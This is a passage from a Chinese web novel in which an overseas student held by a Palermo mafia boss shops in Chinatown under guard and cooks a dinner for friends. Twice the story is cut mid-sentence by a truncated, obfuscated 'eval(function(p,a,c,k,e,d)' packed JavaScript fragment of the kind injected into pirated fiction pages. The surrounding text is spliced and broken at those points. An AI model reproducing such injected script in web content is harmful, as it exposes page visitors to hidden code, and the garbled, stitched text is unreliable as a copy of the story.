这意味着,我在他的棋盘上,已经从“需要观察的棋子”升级成了“需要管理的资产”。 资产比棋子更有价值,也更难被丢弃掉。 20. chapter20 别问我为什么一个被软禁的留学生能出现在华人超市的生鲜区,问就是BOSS批准了“食材自主采购权”,附加条件是马可以不超过三步的距离全程跟随。他现在就站在我右手边一米二的位置,盯着我手里那块肥瘦比例三七开的肋排,表情介于“这有什么好挑的”和“我为什么要在这里”之间。 以及,我花了整整四十秒纠结买百事还是可口。这个问题的严肃程度,在我的决策体系里,仅次于“要不要在洛伦佐面前吃菠萝披萨”。 - 下午两点四十分,我抱着一个空的双肩包站在庄园门廊下。午后的阳光像融化的蜂蜜,浓稠地浇在碎石路上,浇在柠檬树叶上,浇在那辆黑色玛莎拉蒂的引擎盖上。车漆吸饱了热量,在阳光下泛出一层深沉的、近乎紫色的光泽。 空气里弥漫着海盐、橄榄树和被晒热的泥土混合在一起的味道,温热的,带着一点植物的清苦。 马可站在车门旁,深色夹克,黑色高领衫,墨镜遮住了大半张脸。他看到我走出来,目光在我身上停留了一秒:兜帽卫衣、牛仔裤、运动鞋,背上一个空包。 “上车。” 我乖乖坐车里,把双肩包放在腿上,系好安全带。 窗外,巴勒莫的街景像一幅缓慢展开的画卷,老城区的建筑外墙被地中海阳光晒成了温暖的米黄色,百叶窗漆成墨绿或深蓝,阳台上垂下来的三角梅开得正盛,一簇簇紫红色的花瓣在风里轻轻晃动。 “你以前去过唐人街吗?” “没有。” “那你知道路吗?” “导航。” “哦。” 我换了个话题:“从庄园到唐人街大概多久?” “三十五分钟。” “那回来呢?” “一样。” “下班高峰期呢?” 马可沉默了一秒:“四十五分钟。” 我点了点头,在心里默默把这个时间加进了我的“安全活动半径”数据模型里。从庄园到巴勒莫大学是半小时,到唐人街是三十五分钟,到老陈家是四十分钟。 巴勒莫的唐人街不大,和罗马米兰那种规模没法比,但该有的都有。一家卖中式调料和冷冻水饺的超市、两家川菜馆、一家粤菜馆、一家卖烤鸭的、一家卖奶茶的、一家理发店、一家药材铺、还有一家门口挂着红灯笼的KTV。街道上空飘着油烟和香料混合的气味,花椒的麻、八角的甜、豆瓣酱的咸鲜,每一种味道都让我想起老家的厨房。 街上走着的面孔从意大利人变成了亚洲人,提着购物袋的大姐、推着小车的老太太、叼着烟蹲在店门口刷手机的中年男人。 我推开车门,一股混合着八角、五香粉、酱油和烤鸭的味道扑面而来。这种味道在意大利的任何一条街道上都不会有,只有唐人街有。我深吸一口气,那股熟悉的气味涌入鼻腔,眼睛忽然有点发酸。 马可下了车,站在我身后,扫视着整条街。他的下颌线绷得像琴弦,我猜他的眼睛大概正在给每一个路过的行人打分。拎着菜篮子的老太太,推着婴儿车的年轻妈妈,蹲在路边抽烟的南亚面孔青年,他多看了零点三秒。 “马可,”我无奈地叹了口气,指了指裕华超市的玻璃门,“我觉得这里不大可能有枪战。” 马可没有说话,但他嘴角往下撇的那个微小弧度清楚地表达了他的态度。 我耸了耸肩,走进了裕华超市,推了一辆购物车。 超市不大,货架之间的过道窄到两个推车相遇时必须有一方退让。日光灯管在天花板上嗡嗡作响,有几根已经老化了,光线泛着一层病恹恹的青白色。天花板的角落里挂着一串红灯笼,墙上贴着一张褪色的财神爷年画,财神爷的嘴角被水渍洇开了一块,看起来像是在流口水。 广播里放着一首至少是十年前的粤语歌,女声软软地唱着,旋律熟悉得让我后背的肌肉不自觉地松了下来。 我先去了调料区。李锦记生抽、老抽、蚝油、柱候酱、海鲜酱、沙茶酱、芝麻酱、花生酱、老干妈、王致和豆腐乳、郫县豆瓣酱、料酒、镇江香醋、永春老醋——我把货架上的瓶瓶罐罐一个一个拿起来,看生产日期,看配料表,看钠含量,然后放进购物车里。 马可站在过道尽头,双手背在身后,像一座被临时摆放在酱油和醋之间的雕塑。 “老干妈。”我拿起一瓶风味鸡油辣椒酱放进车里,“这个味道的,记得吗?” 马可沉默了一瞬,上次他晚上敲门进来时我正在用老干妈做拌面,请他吃了几口。 “记得。” “好吃吗?” 马可又沉默了一瞬:“还行。” 我笑了,推着车拐进生鲜区。 生鲜区是整个超市的战场,冷柜发出老旧的压缩机嗡鸣声,玻璃上结着一层薄薄的水雾,透过水雾能看到里面码得整整齐齐的肉。 带皮五花肉、猪肋排、猪蹄、牛腱子、羊排、鸡腿、鸭腿。一位穿着碎花衬衫的阿姨正用夹子翻检着冷柜里的猪蹄,翻到一只满意的,拿起来对着日光灯看了足足五秒,才满意地放进购物袋里。旁边一个戴眼镜的中年男人正在挑牛腱,用手指按了按,不满意地摇摇头,放回去,又拿起另一块。 回家的感觉。 我走到冷柜前,拉开玻璃门一股混着冰霜和生肉气息的冷气扑在脸上。我拿起第一块肋排,翻过来看骨头切面的颜色。 鲜红色,带着骨髓应有的光泽,不是那种放久了之后会变成的暗褐色。用手指轻轻按了一下瘦肉部分,有弹性,按下去的凹陷在一秒内回弹。肥瘦比例大概三七开,肥肉部分洁白,没有发黄。骨头间距均匀,大概一根手指的宽度。合格,放进购物车。 第二块,骨头切面颜色偏深,放回去。 第三块,肥肉太多,大概五五开,放回去。 第四块,合格,放进购物车。 我挑到第五块的时候,余光扫到马可往前迈了半步。他大概想看看我到底在对着这几块猪骨头做什么。一个留学生,蹲在冷柜前,拿起一块肋排,对着日光灯翻来覆去地看,用手指按一按,再凑近闻一闻,然后要么郑重地放进购物车,要么皱着眉头放回去。整个过程的表情严肃程度,堪比在书房看账本。 我挑完肋排,转向鸭腿。冷冻鸭腿码在冷柜最下面一层,每一只都用塑料袋单独包装,冻得硬邦邦的,表面结着一层薄薄的霜。我拿起一包,隔着塑料袋捏了捏腿肉的厚度,又看了看包装袋上的生产日期。这批鸭腿是上个月生产的,冷冻时间不算长,肉质应该还可以。 然后是番茄。 裕华超市的番茄有两种,一种是硬邦邦的、颜色红得像塑料的荷兰番茄,另一种是粉红色的、蒂部带着一抹青绿的本地沙瓤番茄。我毫不犹豫地走向第二种。拿起一个,掂了掂分量,沉的,说明汁水足;用手指轻轻捏了一下果身,微微发软,但整体还保持着形状,熟度刚好。翻过来看蒂部,蒂周围的绿色鲜亮,没有发蔫,说明摘下来的时间不长。我挑了一个又一个,每挑一个之前都要掂、捏、看蒂,挑到第六个的时候,马可终于开口了。 “有什么区别?” 我转过头,马可站在旁边双手背在身后,但他的目光落在我手里的番茄上,眉头微微皱着。 “硬的那种,”我举起左手虚握成拳,模拟出一个硬邦邦的荷兰番茄,“炒不烂,做番茄炒蛋的时候会在锅里保持形状,但永远不会出汁。没有汁的番茄炒蛋,等于没有灵魂的计量经济学作业——看着是对的,但全是空的。”我举起右手,掌心向上托着空气,模拟出一个软熟的沙瓤番茄,“这种,下锅一炒就软,汁水全出来了,蛋裹着汁,汁浸着蛋,拌饭能吃三碗。” 马可沉默了片刻,然后他伸出手,从木格子里拿起一个番茄,学着我刚才的样子,掂了掂,又放回去。拿起另一个,掂了掂,看了一眼蒂部,递给我。 我接过来一看。 沉甸甸的,粉红色,蒂部鲜绿,微微发软。完美。一个从不来超市的人在三十秒内学会了挑选沙瓤番茄,Mafia的人才培养体系果然名不虚传。 “这个合格了。”我把那颗番茄放进塑料袋里,抬头看着马可,“马可,你很有天赋啊。” 马可的嘴角动了一下,他收回手,重新背到身后,恢复了那尊雕塑的姿态。 挑完番茄,我推着购物车拐进了饮料区,然后我站在冷柜前,左手搭在购物车把手上,右手悬在半空中,陷入了本次采购最严峻的决策困境。 百事可乐,还是可口可乐。 百事的蓝色罐身和可口的红色罐身隔着冷柜玻璃看着我,像两道多选题里的A和B。这道题的难点在于,它不是“哪个更好喝”的问题,是“聚会上有人只喝百事、有人只喝可口”的问题。周姐是可口派,她说百事太甜,喝完之后舌头上会残留一种“黏糊糊的假甜”。刘洋是百事派,他说可口太酸,喝完喉咙里会有一种“被人掐了一下的刺激感”。张凯比较随意,他唯一的要求是“别买无糖的”。我本人属于“哪个打折买哪个”的性价比派,但在内心深处,如果非要选,我偏向可口,因为我觉得可口可乐的冲击力更强,二氧化碳的释放更集中。 我悬在半空中的手在百事和可口之间来回移动了两次,像一个卡住了的节拍器。 “有问题?”马可的声音从身后传来。 “有,”我说,目光没有离开冷柜,“很大的问题。” 马可往前走了一步,站到我旁边,顺着我的视线看向冷柜里的两排可乐。他看看左边那排蓝色的,看看右边那排红色的,又看看我。 “有区别吗?” 这个问题,每一个可乐派系斗争之外的旁观者都会问。他们不懂,他们永远不懂。 “当然,”我认真地说,““事更甜,气泡更细。可口更烈,气泡更冲。百事的甜味是果糖的甜,可口的甜味是蔗糖的甜。百事的酸度比可口低零点三左右,PH值大概——” 马可沉默地看着那两排可乐,然后伸出手,从冷柜里拿出了一提百事,又拿出了一提可口。他把两提可乐并排放在购物车底部,抬头看着我。 “都买。” 我眨了眨眼,忽然想起了我口袋里的钱足够把超市所有可乐一扫而空:“好主意。” 我推着车继续往前走,经过零食区的时候,我的脚步慢了下来。旺旺仙贝、咪咪虾条、恰恰瓜子、大白兔奶糖……每一个包装都在呼唤我。我拿起一包旺旺仙贝看了看配料表,又放下了。 然后我绕到了酒柜前。 玻璃门后面摆着各种酒。白酒、黄酒、清酒、梅酒。我的目光在一排瓷瓶上停住了。绍兴黄酒,古越龙山的,瓷罐子的那种,瓶身上印着水墨画,写着“五年陈酿”。 我拉开玻璃门,把那瓶黄酒拿了出来。瓷罐子沉甸甸的,瓶口用红布包着,封口处还盖着一个红色的印章。 马可站在我身后,看着那瓶黄酒。 “这是什么?”他问。 “绍兴黄酒,”我说,把瓷罐子举到马可面前晃了晃,“我老家的味道。” 马可没有接话。我小心翼翼地把黄酒放进购物车,用那两提可乐把它夹在中间,防止瓶子在车上晃来晃去摔碎了。 采购完毕。购物车里的东西堆成了一座小山。猪肋排、鸭腿、沙瓤番茄、龙口粉丝、绍兴黄酒、李锦记生抽老抽蚝油柱候酱、郫县豆瓣酱、镇江香醋、老干妈风味鸡油辣椒、两提可乐、一大袋五香瓜子、一包陈皮糖、一袋大白兔奶糖。 收银台的大姐是福建人,说一口带着浓重闽南腔的普通话。她扫码的时候看到那两提可乐,笑了。“小伙子,百事和可口都买,你是怕得罪人啊?” “姐,您不知道,”我苦笑着掏出钱包,“我们那群人里,一半是百事党,一半是可口党,买哪个都要被另一半念叨。” 大姐笑着摇了摇头,手指在收银机上飞快地敲着。“一共八十七块六。现金还是刷卡?” “刷卡。” 我拿出洛伦佐给我的那张黑卡。大姐接过去,翻过来看了一眼,眉头皱了一下。“这什么卡?没见过的。” “意大利本地的卡,”我说,“银联可能刷不了,您试试Visa通道。” 大姐把卡插进POS机,嘀一声,交易成功。她把卡递还给我,又看了一眼那张没有标识的黑色卡片,脸上的表情像是在说“现在年轻人用的卡都这么花哨了”。 我把卡收回口袋,转身推着购物车往外走。马可已经抢先一步拎起了最大的两个袋子,只留给我一个装调料的小袋子。他左右手各拎着一个撑得鼓鼓囊囊的塑料袋,袋子里猪肋排、鸭腿、两提可乐的重量加起来大概有十几公斤。 他的小臂肌肉在夹克袖口下绷出清晰的线条,但他的表情依然是标准的“面无表情”,呼吸节奏也没有任何变化,仿佛拎着的只是两个空袋子。 我把调料袋挎在肩上,跟在马可身后走出裕华超市。唐人街的下午阳光比来的时候更斜了,把整条街照成一条金色和阴影相间的条纹。烧腊店的蜜糖焦香比刚才更浓了。 “马可,”我加快脚步走到他旁边,“前面左转,巷子走到头,陈记烧腊。” 马可没有说话,只是微微调整了方向。 陈记烧腊的店面夹在一家中药铺和一家理发店之间,门脸窄得只能同时容纳两个人并排站立。红底黄字的招牌被油烟熏了几十年,红不是正红,是那种沉淀了岁月和油脂的赭红色;黄不是明黄,是那种像被蜂蜜浸透了的琥珀色。招牌上“陈记”两个繁体字写得筋骨分明,据说是陈叔他父亲当年亲手题的。 门口挂着一排烧腊:叉烧、烧鸭、烧肉、豉油鸡,在玻璃橱窗后面一字排开,琥珀色的蜜汁在叉烧表面凝成一层亮晶晶的壳,烧鸭的皮鼓得紧紧的,透出一层焦糖色的光泽。热气和香气从橱窗的缝隙里涌出来,混在一起,形成一种让人走不动路的、黏稠的、幸福的味道。 我推开玻璃门,门楣上的铜铃叮当响了一声。 “陈叔!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“十几个人!”陈叔一边说一边从挂钩上取下一块叉烧放在砧板上,拿起那把窄长的砍刀,“好!陈叔帮你斩靓佢!”他的刀落下去,咚的一声,叉烧□□脆利落地切成厚薄均匀的片状,每一片的厚度大概半厘米,刚好是入口能感受到肉质的弹性、又不至于太厚咬不动的程度。 切完叉烧,他转身取下那半只烧鸭,手起刀落,鸭胸、鸭腿、鸭翅,每一块都带着皮和肉,码在砧板边缘。 我站在柜台前,看着陈叔的手。那双手,指节粗大,虎口有厚厚的茧,指甲缝里洗不干净的油渍。刀在他手里像长出来的,每一刀落下去的位置和力度都不需要思考。 陈叔把所有烧腊码进两个白色的泡沫餐盒里,用保鲜膜仔细地缠了好几圈,确保蜜汁和汤汁不会漏出来。然后他转身从柜子最里面拿出一个棕色的小玻璃瓶,只有巴掌大小,瓶口用红蜡封着。 他把小瓶子塞进我手里。 “秘制卤水汁,”他压低声音,用电视里地下党接头的语气说,“卤牛腱、卤猪耳、卤豆干,样样都得。唔好话俾人知。” “多谢陈叔。”我郑重地把那瓶卤水汁揣进口袋,像揣着一枚勋章。 结账的时候,陈叔报了一个数字。那个数字明显低于他刚才切进餐盒里的总量。我刚要开口,他已经把泡沫餐盒装进一个大塑料袋里,推到我面前。 “学生仔,食饱先有力读书。陈叔当年就系冇读到书,先要日日企喺度斩烧鸭。”他拍了拍我的肩膀,手劲依然大得让我肩膀往下沉了半寸,“读好啲,将来做大事,返嚟请陈叔食饭。” “一定。” 我拎起那个装满烧腊的塑料袋,走到门口的时候,陈叔在身后喊了一句:“下次带你女朋友嚟!陈叔请佢食叉烧!” “未有女朋友啊陈叔!” “咁快啲搵啦!后生仔唔好成日挂住读书!” 玻璃门在我身后关上,铜铃又叮当响了一声。 出了店门,我拎着两个袋子走在前面,马可拎着三个袋子走在后面。他的步伐依然稳健,五个塑料袋在他手里晃来晃去,发出哗啦哗啦的声响。 走到车旁边,马可打开后备箱,把袋子一个一个地放进去。 我从袋子里拿出一个白色的塑料盒,递到马可面前。 “这个,”我说,“你带回去和老板一起尝尝。” 马可低头看着那个塑料盒。透过半透明的盖子,能看到里面的卤水拼盘。猪耳、牛腱、豆干,码得整整齐齐,蜜汁和汤汁在餐盒底部汇成一小片深褐色的液体,隔着保鲜膜都能闻到那股浓郁得近乎霸道的香气。 “陈叔家传的手艺,”我说,“他爷爷那辈就开始卤了。猪耳脆,牛腱软,豆干吸汁,三种口感不一样,但配在一起很搭。你们晚上可以拿它下酒,配红酒也行,配威士忌也行,配啤酒也行。” 马可看着我,沉默了几秒。 “为什么?”他问。 “什么为什么?” “为什么给我?” 我想了想。 “因为好吃啊,”我说,“好吃的东西就是要分享,而且你帮我拎了那么久的袋子,辛苦了。” 马可盯着我看了两秒钟。他伸手接过那个塑料盒,把盒子放进后备箱,关上了后备箱的门。 “上车。”他说。 我拉开副驾驶的门,坐进去,系好安全带。马可发动了车,驶出唐人街。 窗外,街景重新变成了米黄色的老建筑和墨绿色的百叶窗。街角的咖啡馆门口,那个老头还在看报纸,面前多了一杯新的浓缩咖啡,手边那副老花镜还在原来的位置。 “马可。” “嗯。” “那份烧腊里面有叉烧、烧鸭、烧肉、豉油鸡,每种都有一点。叉烧最好加热再吃,凉了蜜汁会凝固,口感就没那么好了。烧鸭的皮现在还是脆的,放久了会变韧。烧肉的脆皮是陈叔的绝活,千层酥一样的,咬下去会咔嚓响。豉油鸡的肉最嫩,配他家的姜葱蓉吃——” “林恩。” “在。” 马可没有说“闭嘴”,也没有说“我知道了”。他看着前方的路面,下颌线依然绷着,但嘴角那个位置,有一个极其微小的、如果不一直盯着看就会错过的弧度。 “我会转告BOSS。” “好。” 我低头看着旁边的袋子,琥珀色的卤汁在盒子里微微晃动,透过半透明的盖子,能看到猪耳的胶质层和牛腱的肌理。 陈叔做卤水的配方是他爷爷传下来的,八角桂皮丁香的比例是他父亲改良过的,陈皮是他自己加进去的。 每一代人都在前人的基础上做了一点小小的改进,让它更适合这个时代的味蕾。 这大概就是所谓的传统。 不是一成不变,是在变化中保持核心。 就像我在洛伦佐庄园里的策略,核心不变——保持有用、保持有趣、保持无害。 方法可以调整,但方向是一样的。 21. chapter21 别问我为什么成了聚会里的‘头号明星’,问就是红烧排骨的糖色炒得太漂亮了,漂亮到张凯吃到第三块的时候眼眶泛红,说这让他想起他姥爷。我还没来得及感动,刘洋就补了一句“他姥爷还健在,上周刚给他发了红包”。 以及,被叫‘爸爸’的感觉,真爽! - 老陈家住在巴勒莫郊区一栋六十年代建成的公寓楼里,六楼,没电梯。楼梯间的墙壁刷着淡黄色的石灰浆,每隔几级台阶就有一块被磕掉漆的凹痕,露出下面灰白色的水泥。 扶手的木头被几十年的手掌磨出了包浆,触感光滑得像一块老玉。墙上挂着一个塑料相框,里面是一张褪了色的圣母像,圣母脚边摆着一小束已经干枯的橄榄枝。 我拎着五个塑料袋爬上六楼的时候,腿已经在发抖了。马可帮我把东西搬到楼下,然后留在了车里。 我感觉自己就是一头被货物压弯了脊梁的骡子,一级一级往上挪。 我爬到三楼的时候,已经听到了楼上的声音。老陈的大嗓门隔着天花板传下来,他在喊“那个蒜别全放了留一半明天炒菜用”,周姐的声音尖尖细细地插进来,说“你连蒜都要省你是要攒钱买房吗”,然后是一阵哄笑,笑声里有刘洋的沙哑和张凯的清脆,混在一起,像一锅煮沸了的饺子汤。 我站在门口,深吸一口气,按了门铃。 门几乎是立刻被拉开的。 “小林子!你终于——”周姐的目光落在我手里的五个塑料袋上,话卡在半空中,然后她转过头朝屋里喊了一嗓子,“刘洋!张凯!出来搬东西!小林子把整个华人超市搬过来了!” 刘洋从客厅里冲出来,拖鞋在地板上发出啪嗒啪嗒的声响。他穿着一件灰色文化衫,领口洗得有些松垮,露出一小截锁骨。他接过我左手那两袋最沉的,手臂上的肌肉明显绷了一下。 “卧槽,你买这么多?超市不要钱了?” “够你们吃的。”我笑了,“省的像之前那样你们恨不得舔盘子。” 周姐帮我把陈记烧腊的袋子接过去,打开看了一眼,发出一声介于惊喜和责备之间的感叹。“你又去陈叔那儿了?每次去唐人街都要去他那,你是他失散多年的亲孙子吧?” “下次带你一起去,请你吃叉烧。” 周姐笑着推了我一把:“少来。赶紧进来,厨房等着你的排骨下锅呢。” 桌上已经铺好了一次性桌布,白色塑料薄膜上印着红色和金色的福字,福字倒过来贴着。上面摆了几道菜:刘洋做的酸辣土豆丝,切得粗细不一的土豆丝在红油和醋汁里泡着,表面撒着一小把切碎的香菜。张凯贡献的拍黄瓜,黄瓜段是用刀背拍的,断面参差不齐,蒜末和醋的味道从碗里溢出来,闻着就让人腮帮子发酸,还有一锅周姐炖了两个小时的萝卜牛腩煲,砂锅盖子掀开一条缝,白萝卜被酱汁浸成了半透明的琥珀色,牛腩的筋膜炖到软糯发亮。 沙发上还坐着几个人,老陈本人,正盘腿坐在沙发角落里剥毛豆,手指甲掐进豆荚的缝隙里,往外一掰,豆粒就蹦进他腿上的不锈钢盆里。旁边是计算机系的赵一凡,我们都叫他“赵神”,因为他能在任何人的电脑出问题时用不到三句话解决,此刻他正低头看着手机,手指在屏幕上划来划去,大概是在刷GitHub。还有学艺术史的苏敏,戴着一副圆框眼镜,正用水果刀给一盘橙子雕花,橙皮在她手里慢慢变成一朵歪歪扭扭的花,花瓣边缘还带着白色的橘络。 “小林子来了!”老陈从毛豆堆里抬起头,“就等你呢,赶紧做饭,兄弟们等着叫爸爸。” “叫早了,”我把猪肋排袋子往厨房方向晃了晃,“等排骨上桌再叫。” 厨房不大,两个人转身就会撞到一起。周姐已经把炒锅架上了,锅底烧得微微发青,她把位置让给我,自己退到旁边切葱姜蒜。 我系上围裙,上面印着一只卡通熊,熊的脸上被溅了一块洗不掉的酱油渍。 我开始处理食材,猪肋排已经让超市师傅剁成了寸段,先用清水冲洗了两遍,冷水下锅,加两片姜、一截葱、一勺料酒。火开到最大,水面开始冒起细密的气泡,从锅底往上翻涌,像一小片正在苏醒的温泉。气泡越来越大,越来越密,水面开始剧烈翻滚,血沫从排骨的断面和骨缝里渗出来,聚成灰褐色的浮沫,被沸腾的水流推到锅边,聚成一圈让人毫无食欲的灰白色边缘。 我拿勺子把浮沫撇掉,动作要快,因为水一沸腾浮沫就会被冲散,重新混进汤里,那样焯出来的排骨会带着一股去不掉的腥气。 焯好水的排骨捞出来,沥干水分。锅里油热了,再下冰糖。冰糖在热油里慢慢融化,从透明变成琥珀色,从琥珀色变成枣红色,气泡从大变小,从稀疏变密集。 我端起沥好水的排骨倒进锅里,“哗啦”一声,油花四溅,糖色的甜香和肉脂的焦香在那一瞬间炸开,整个厨房的空气都变了味道。我在颜色变成枣红色的那一瞬间把排骨倒进去,刺啦一声,白烟腾起,焦糖的甜香和肉香搅在一起,把整个厨房炸成一片让人站不住脚的香气海洋。 “卧槽。”身后传来一个声音。我转过头,发现厨房门口挤了四个人,周姐、张凯、刘洋,还有终于舍得把目光从屏幕移开的赵神,四个人八只眼睛直勾勾地盯着我手里的锅铲。 “怎么了?” “你这个糖色,”周姐说,声音里带着一种“我认识你两年不知道你还有这手”的震撼,“炒得比老陈好。老陈上次炒糖色,炒出一锅黑渣,苦得我们集体漱口。” “老陈是学建筑的,”我把火调小,开始加调料,“我是学经济的。炒糖色本质上是一个时间序列上的状态转移问题,只要掌握好温度和颜色的函数关系——” “闭嘴。”四个人异口同声。 周姐把我买的可乐也拿了出来,百事六罐,可口六罐,并排放在茶几上,蓝色和红色各占一半。老陈看了一眼可乐阵容,满意地点了点头:“可以啊小林子,两党都不得罪,政治觉悟很高。” “这叫纳什均衡,”我把火调小一度,“在双寡头垄断市场中,同时购买两家产品是消费者的最优策略。” “说人话。” “我不知道你们喜欢喝哪个,所以都买了。” 趁着排骨在锅里咕嘟的空档,我开始处理啤酒鸭。鸭腿剁成块,冷水下锅焯,撇浮沫,捞出来沥干。炒锅重新烧热,下鸭块煸炒。鸭皮在热锅里滋滋地往外冒油,从乳白色变成浅金色,从浅金色变成焦黄色,边缘微微卷起。鸭油被煸出来之后,锅底的油量肉眼可见地增加了,我把多余的油倒掉,留底油,下姜片、蒜瓣、干辣椒、八角、桂皮、香叶。香料在热油里爆出香味,干辣椒的颜色从暗红变成亮红,辣椒素被热油激活,空气中弥漫开一股让人想打喷嚏的辛香。 然后倒入一整瓶青岛啤酒,金黄色的液体倒进锅里,泡沫涌上来又退下去,麦芽的甜香和啤酒花微苦的气息混进香料的味道里。加生抽、老抽、一小块冰糖。大火烧开,转小火,盖上盖子。 番茄炒蛋,我做的顺序是先炒蛋,再炒番茄。 蛋液打散,加一小撮盐和几滴水。加水的目的是让蛋更嫩,水在高温下变成蒸汽,把蛋液撑出细密的气孔。油烧到冒烟,蛋液倒进去,筷子飞快地搅动,蛋液在热油里迅速凝固成不规则的云朵状。表面还带着一点湿润的时候就盛出来,余温会让它继续熟成到刚刚好的程度。然后炒番茄。沙瓤番茄切成滚刀块,厚薄均匀。锅里留底油,番茄倒进去,嗤啦一声,汁水立刻从切面渗出来,在锅底汇成一小汪粉红色的液体。 我用锅铲轻轻压了压番茄块,让更多汁水流出来。番茄的酸香混着热油的味道飘出去,连客厅里打牌的人都停了手。 “小林子,”张凯的声音从客厅传来,“你那个番茄炒蛋,能不能多做一点?怕不够分。” “知道了。” 我把之前炒好的蛋倒回锅里,和番茄汁翻炒均匀。蛋块吸饱了番茄汁,从金黄色变成了带着粉调的橙黄色。加一小撮糖提鲜,一小撮盐调味,最后撒一把葱花。关火,装盘。 番茄炒蛋端上桌的时候,刘洋的眼睛亮了。他用筷子夹了一筷子,蛋块裹着红亮亮的番茄汁,送进嘴里嚼了两下。“卧槽,”他含含糊糊地说,“这个汁,绝了。小林子你是不是偷偷去新东方进修了?” “多夸点,”我潇洒地一甩头,留下一个‘高深莫测’的背影走回厨房,“等会儿排骨上桌还有一波。” 啤酒鸭焖了四十分钟,开盖收汁。汤汁从金黄色浓缩成琥珀色,挂在大块的鸭肉上,亮晶晶的,像给每一块鸭肉刷了一层蜜。鸭肉用筷子轻轻一戳就能戳进去,肉丝顺着纹理分开,露出里面还微微冒着热气的、浅褐色的断面。我夹了一块尝味道,咸鲜带甜,啤酒的麦芽香已经完全渗进肉里,八角和桂皮的味道在背景里托着,不抢戏。合格。 红烧排骨也差不多了。揭开锅盖,热气腾地一下扑上来,带着一股浓郁得化不开的酱香和焦糖甜。汤汁从刚下锅时的深褐色收成了浓稠的酱色,咕嘟咕嘟地冒着黏稠的泡,气泡破开的节奏比刚才慢了很多,因为液体已经浓缩到几乎成糖浆了。排骨的颜色是那种深琥珀色的,表面裹着一层亮晶晶的酱汁,筷子夹起来的时候酱汁会拉出一道细细的丝。软骨部分已经变成了半透明的琥珀色,用筷子头轻轻一压就能压出一道印子。 剩下最后一道蒜蓉粉丝最简单,粉丝用温水泡软,蒜剁成末,锅里放油烧热,下蒜末炒到微黄,加生抽、蚝油、糖、水,煮开之后浇在泡好的粉丝上,上锅蒸八分钟。 陈记的卤水拼盘打开盖子就能吃。我把猪耳、牛腱、豆干码在一个白色的大瓷盘里,浇上陈叔单独给的那瓶秘制卤水汁,撒了一小把葱花。猪耳的胶质层在灯光下泛着琥珀色的光,牛腱的肌理间嵌着透明的筋络,豆干吸饱了卤汁,鼓鼓囊囊的,像一个个塞满了铜板的小钱包。 所有菜端上桌的时候,客厅里安静了整整两秒钟。 然后老陈第一个开口了。 “小林子,”他的声音有点发飘,“嗯?” “你以后要是找不到工作,我开餐馆请你当厨师。” “谢谢,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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十几罐可乐碰在一起,红色的可口和蓝色的百事在灯光下晃了晃,发出铝罐碰撞的清脆声响。我喝了一大口可乐,冰凉的碳酸气泡在舌尖上炸开,带着蔗糖的甜和磷酸的微酸,从喉咙一直凉到胃里。 筷子像雨点一样落下去。刘洋夹走了最大的一块,咬了一口,眼睛瞪得像被踩了尾巴的猫。 “卧槽。卧槽卧槽卧槽。这个肉,怎么可以这么酥?骨头一嗦就下来了,软骨那个地方!”他又咬了一口,“——像果冻!像咸味的焦糖果冻!” “叫爸爸。”我得意洋洋地昂起头。 “爸爸。”刘洋毫不犹豫。 “爸爸。”张凯也举起了筷子。 “爸爸。”老陈嘴里塞着一块鸭腿,含含糊糊地说。 周姐笑到趴在桌上,肩膀一抖一抖的,额头抵在手臂上。她好半天才直起身,用手指抹了一下眼角笑出来的泪,从烧腊拼盘里夹了一片叉烧放进我碗里。“行了行了,这么多儿子你也养不过来。吃块叉烧,你最爱的半肥瘦。” 苏敏给我夹了一块啤酒鸭。“林哥,这个鸭肉怎么这么嫩?我上次自己做啤酒鸭,肉柴得能当牛肉干啃。” “鸭腿要先煸,”我比划着,“把皮里的油煸出来,肉表面煎到焦黄锁住水分。还有啤酒要没过鸭肉,全程小火,不能急。中间不要频繁揭盖,热气跑了肉就紧了。” 苏敏若有所思地点了点头,掏出手机在备忘录里打字。 “小林子,这排骨真的太绝了,”张凯已经夹了第三块排骨,咬了一口,肉从骨头上干净利落地脱下来,他闭着眼睛嚼了嚼,眼眶居然有点泛红,“我姥爷做的红烧排骨就是这个味道,一模一样。” “你姥爷不是还健在吗?”刘洋毫不留情地拆台,“上周还给你发红包了。” “那不一样,”张凯又夹了一块,“我姥爷现在做的排骨没以前好吃了,他年纪大了,味觉退化,老是放太多盐。小林子做的这个,是我姥爷十年前的水平。” “所以你是在夸小林子像你姥爷?” 张凯沉默了片刻。“……当我没说。” 番茄炒蛋是最先被清盘的。周姐用勺子把最后一点汤汁都舀起来浇在米饭上,粉橙色的汁水渗进米粒之间,把白米饭染成了淡淡的橘色。她吃了一口,然后抬起头看着我。 “小林子。” “嗯?” “你这个番茄炒蛋,炒出汁了。” “番茄炒蛋本来就应该有汁。” “你不知道,”她摇了摇头,语气里带着一种过来人的沧桑,“我在意大利吃过的大部分番茄炒蛋,都是干的。番茄是番茄,蛋是蛋,各过各的,像合租的室友。你这个不一样,你这个是结婚三十年的夫妻。” “谢谢,这是我听过的关于番茄炒蛋最诡异的比喻。” 啤酒鸭和红烧排骨以惊人的速度消失,还不到十五分钟,两个盘子里就只剩下酱汁和骨头了。刘洋用馒头蘸着红烧排骨的酱汁吃,馒头撕成小块,在盘底的酱汁里滚一圈,吸饱了琥珀色的浓汁,塞进嘴里的时候眼睛幸福地眯成一条缝。 “这个酱汁,”他咀嚼着,声音因为嘴里塞满了食物而变得含糊不清,“拌饭能吃三碗,拌面能吃五碗,拌鞋底都好吃!” “那你下次带鞋底来,让咱们林大厨给你单独做一份凉拌鞋底子。”张凯说。 “滚!” 22.chapter22 刘洋倒了一杯绍兴黄酒,递给我:“尝尝,你买的。” 我接过杯子,琥珀色的酒液在灯光下泛着温润的光泽。凑近闻了一下,醇厚的酒香里裹着一丝焦糖和桂圆的甜,没有刺鼻的酒精味,是陈年老酒特有的那种圆润的、像被时间打磨过的香气。 “好酒,”我举起酒杯晃了晃,“果然是五年陈酿,古越龙山的。” “你懂酒?”老陈惊讶地看着我。 